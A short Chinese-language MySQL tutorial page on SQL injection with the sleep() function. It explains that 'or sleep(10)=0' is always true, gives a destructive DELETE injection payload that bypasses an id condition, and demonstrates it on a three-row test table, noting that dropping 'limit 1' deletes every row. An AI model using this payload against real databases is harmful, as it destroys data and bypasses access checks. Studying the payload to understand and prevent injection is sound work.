1. 程式人生 > mysql教程 > 通過sleep函式執行sql注入攻擊

通過sleep函式執行sql注入攻擊

Mysql中sleep(n)讓語句停留n秒時間,然後返回0,若命令被中斷,則返回1。

因此,可以認為在通常情況下sleep函式返回值為恆為0,可以藉助sleep(n)=0的永真性執行sql注入。

例如,原本想刪除test表中id=2的條目,但是通過sleep可以刪除任意資料:

delete from test where id=2 or sleep(10)=0 limit 1--上述命令可以繞過id的限制,刪除任意資料,由於在後面加了limit 1,限制只刪除一條指令,因此,上述指令將刪除資料庫中的第一條資料。

實驗如下:

1. 建立資料表test,插入三條資料

create table test(id int, name char(10));insert into test values(1,'aa'),(2,'bb'),(3,'cc');可以看到成功插入資料表

通過sleep函式執行sql注入攻擊_MySQL

接下來執行語句

delete from test where id=2 or sleep(10)=0 limit 1-- 通過sleep函式執行sql注入攻擊_MySQL

可以看到,id=2並沒有執行,而是刪除了第一條資料,若是去掉limit 1的限制,將刪除資料表中所有資料。